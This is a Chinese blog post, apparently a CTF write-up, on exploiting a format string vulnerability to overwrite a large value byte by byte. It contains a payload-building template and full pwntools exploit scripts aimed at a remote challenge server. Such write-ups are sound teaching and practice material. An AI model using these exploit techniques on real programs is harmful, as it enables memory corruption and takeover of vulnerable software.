Python网络安全格式字符串漏洞任意地址覆盖大数字详解
作者:gxhhh191 发布时间:2021-11-20 16:43:29
格式化字符串漏洞覆盖大数字时,如果选择一次性输出大数字个字节来进行覆盖,会很久很久,或者直接报错中断,所以来搞个攻防世界高手区的题目来总结一下
pwn高手区,实时数据监测这道题,就是格式化字符串漏洞覆盖大数字
题目运行时会直接告诉你key的地址,我们只需要利用imagemagic中的printf利用格式化字符串漏洞来覆盖就行了,但就像刚才说的,直接覆盖时间太久了而且会报错,所以可以想想别的办法
如果我们想覆盖key为0x02223322,那么根据小端存储,在内存中就是\x22 \x33 \x22 \x02,高地址放高位,低地址放低位
在格式化字符串中,%hhn会向某个地址写入单字节,%hn 会向某个地址写入双字节,单字节的用的比较多
在这道题中,要覆盖的地址为0x0804a048,要覆盖的数据为0x02223322,相当于
0x0804a048 \x22
0x0804a049 \x33
0x0804a04a \x22
0x0804a04b \x02
字符串偏移用%p计算出来为12
所以payload构造如下
payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
很麻烦,但是wiki中给出了一个模板,无论在x86还是x64下都能使用
模板如下
#prev表示前面已输出的字节
#word表示应该输出的字节
#index表示偏移量
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
#offset表示起始偏移量,比如这题为12
#size表示字节长度,x86为4,x64为8
#addr表示要覆盖的地址,这题为0x0804a048
#target表示要覆盖的值,这题为0x02223322
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):#一次传送一个字节
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)
这里要注意一下prev > word的情况,因为已经输出的字符串大于了我们要输入的数值,所以前面加了256,一次只接受一个字节,用溢出来穿,比如prev = 2,word = 1,result = 255,再算上之前已经传的2,一共是257,溢出之后就是1,就是我们要传的数值
完整exp如下 我用的高版本乌班图,然后是python3,所以做了一些修改,来保证bytes和str
from pwn import *
p = remote('111.200.241.244', '58464')
# p = process("./hello_pwn")
# p.recvuntil(b"Please closing the reaction kettle\n")
# p.recvuntil(b"The switch is:0x4006b0\n")
# p.recvuntil(b">\x00")
# payload = p64(0x04005F6) + 35795745*b'\x00' + b'%12$n'#第12个参数 AAAA
# payload = fmtstr_payload(12,{0x804a048:0x02223322})
# payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
def fmt(prev,word,index):
if prev < word:
result = word - prev
fmtstr = ('%' + str(result) + 'c').encode()
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = ('%' + str(result) + 'c').encode()
fmtstr += ('%' + str(index) + '$hhn').encode()
return fmtstr
def fmt_str(offset,size,addr,target):
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i *8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload =fmt_str(12,4,0x804a048,0x2223322)
p.sendline(payload)
p.interactive()
参考ctf-wiki 跳转处
也可以直接用fmtstr_payload,它是pwntools中的一个工具,可以简化格式化字符串漏洞的利用
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte') → str
第一个参数为偏移,第二个参数{addr:value}表示写入的数据,第三个参数表示已输出的字符,这里默认值为0,我就没写,第四个参数表示写入参数一次写入的大小,有byte,short,int,对应hhn,hn,n
官方文档
exp如下
from pwn import *
p = remote('111.200.241.244', '58464')
payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.sendline(payload)
p.interactive()
非常简短,很方便
来源:https://blog.csdn.net/Gtooler/article/details/120746901


猜你喜欢
- 1、pip下载安装1.1 pip下载进入https://pypi.python.org/pypi/pip,下载 .tar.gz压缩包1.2&
- 我们在工作中时常会遇到一些客户的TPS\QPS都不太高,但磁盘占用非常大,一旦单实例空间太大,像内存、网络、CPU以及备份都将增加相应的开销
- 一、原理说明1,authentication_string这是Mysql8.0新做出的修改,在旧版本中使用的是password()函数。2,
- 本文实例为大家分享了python实现网络五子棋的具体代码,供大家参考,具体内容如下服务器端:import osimport socketim
- Mysql InnoDB引擎数据页结构InnoDB 是 mysql 的默认引擎,也是我们最常用的,所以基于 InnoDB,学习页结构。而学习
- 用Python + PyQT写的一个系统桌面时钟,刚学习Python,写的比较简陋,但是基本的功能还可以。功能:①窗体在应用程序最上层,不用
- 0、背景今天看到了一个比较诡异的写法,for后直接跟了else语句,起初还以为是没有缩进好,查询后发现果然有这种语法,特此分享。之前写过c+
- 参考:1.Basemap绘制中国地图2.Basemap生成的图中绘制轨迹使用CMA热带气旋最佳路径数据集,对我国周边的台风进行绘制impor
- 详解Python 模拟实现生产者消费者模式的实例散仙使用python3.4模拟实现的一个生产者与消费者的例子,用到的知识有线程,队列,循环等
- 在上章节讲述到图像特征检测与匹配 ,本章节是讲述目标检测与识别。后者是在前者的基础上进一步完善。在本章中,我们使用HOG算法,HOG和SIF
- 本文模仿实现数据库访问的通用类,代码清晰,而且很实用,包括了对数据库的所有的常用的操作。 /// <summary>
- 本文实例讲述了Python类装饰器。分享给大家供大家参考,具体如下:编写类装饰器类装饰器类似于函数装饰器的概念,但它应用于类,它们可以用于管
- 安装1、先安装vscode,然后在扩展中搜索Remote SSH插件并安装。2、我要连接远程Ubuntu系统的服务器,所以需要在服务器上安装
- 放大镜并不是一个难以实现的效果, 只是因为牵涉到一些精确的数值计算, 显得比较繁琐. 在未来的一段日子, 我会不定期地写关于 JavaScr
- 代码如下:<script type=text/javascript src=http://fw.qq.com/ipaddress>
- 前言我们经常需要将大量数据保存起来以备后续使用,数据库是一个很好的解决方案。在众多数据库中,MySQL数据库算是入门比较简单、语法比较简单,
- 上一篇博客主要介绍了决策树的原理,这篇主要介绍他的实现,代码环境python 3.4,实现的是ID3算法,首先为了后面matplotlib的
- 一、获取抖音视频连接得到如下信息: “5.1 HV:/ 守门员戴手套没法系鞋带这种体育精神,值得尊敬%遇见足球 %足球 %精彩进球 %意甲
- 最近在看廖老师的python教程,在看到关于文件的操作时,廖老师的其中一段关于查找电脑里的python文件,突然想把之前写的python代码
- 前几天,我们用虚拟机安装了Ubuntu 20.04。今天,我们来安装一些常用的工具,比如Pycharm。 Pycharm是一种用来开发Pyt